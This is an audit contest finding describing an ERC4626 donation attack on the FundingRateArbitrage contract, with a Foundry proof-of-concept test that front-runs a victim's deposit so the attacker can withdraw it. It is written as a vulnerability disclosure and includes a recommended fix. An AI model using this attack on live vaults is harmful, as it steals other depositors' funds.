giraffe - Donation attack can steal other user's funds in FundingRateArbitrage

[sherlock-admin2]

giraffe

high

Donation attack can steal other user's funds in FundingRateArbitrage

Summary

Classic ERC4626 donation attack is possible in FundingRateArbitrage.sol.

Vulnerability Detail

When a deposit is made in FundingRateArbitrage.sol, earnUSDCAmount can round down to 0 if getIndex() is large enough.

uint256 earnUSDCAmount = amount.decimalDiv(getIndex());

Next, getIndex() can become a very large amount if totalEarnUSDCBalance is small enough.

function getIndex() public view returns (uint256) {
        if (totalEarnUSDCBalance == 0) {
            return 1e18; 
        } else { 
            return SignedDecimalMath.decimalDiv(getNetValue(), totalEarnUSDCBalance);
        }
    }

Consider this attack scenario:

1. Alice makes a deposit of 1 wei (small totalEarnUSDCBalance)
2. Alice observes Bob making a deposit of 100 USDC
3. Alice front runs and donates to FundingRateArbitrage by directly transferring 100 USDC to the contract which inflates index to a large value
4. Bob's deposit is successful but his earnUSDCBalance is 0 due to rounding - he has no shares
5. Alice then withdraws everything and including Bob's 100 USDC

POC attached, run in FundingRateArbitrageTest.t.sol

function test_attack() public {
      USDC.mint(alice, 1000e6);
      vm.startPrank(alice);
      USDC.approve(address(fundingRateArbitrage), type(uint256).max);

      // Alice the attacker makes deposit of 1 wei
      fundingRateArbitrage.deposit(1);

      // Observes Bob depositing, front runs and inflate index to v large amount
      USDC.transfer(address(fundingRateArbitrage),100e6);
      // console.log("Index:", fundingRateArbitrage.getIndex());

      // Bob the user deposits 100 USDC
      USDC.mint(bob, 100e6);
      vm.startPrank(bob);
      USDC.approve(address(fundingRateArbitrage), 100e6);
      fundingRateArbitrage.deposit(100e6);
      assertEq(fundingRateArbitrage.earnUSDCBalance(bob), 0); // earnUSDCBalance rounds down to 0

      // Alice withdraws everything
      vm.startPrank(alice);
      jusd.mint(alice, 1);
      jusd.approve(address(fundingRateArbitrage), type(uint256).max);
      uint256 index = fundingRateArbitrage.requestWithdraw(1);

      vm.startPrank(Owner);
      uint256[] memory indexs = new uint256[](1);
      indexs[0] = index;
      fundingRateArbitrage.permitWithdrawRequests(indexs);
      assertEq(USDC.balanceOf(alice), 1100e6); // 1000 initial + bob's 100

      // Bob withdraws everything
      vm.startPrank(bob);
      jusd.mint(bob, 100e6);
      jusd.approve(address(fundingRateArbitrage), type(uint256).max);
      uint256 index2 = fundingRateArbitrage.requestWithdraw(100e6);

      vm.startPrank(Owner);
      uint256[] memory indexs2 = new uint256[](1);
      indexs2[0] = index2;
      fundingRateArbitrage.permitWithdrawRequests(indexs2);
      assertEq(USDC.balanceOf(bob), 0);
    }

Impact

At a cost of 1 wei, Alice is able to steal everything from the next user.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L265 https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L98

Tool used

Manual Review

Recommendation

Consider having the Owner do an initial deposit (even a 1 USDC will make the cost of attack much more expensive), or consider the extensively discussed solutions for ERC4626 see https://blog.openzeppelin.com/a-novel-defense-against-erc4626-inflation-attacks.

Duplicate of #54

[sherlock-admin2]

1 comment(s) were left on this issue during the judging contest.

takarez commented:

valid because { This is also a valid findings and same as the inflation attack mentioned in issue 054}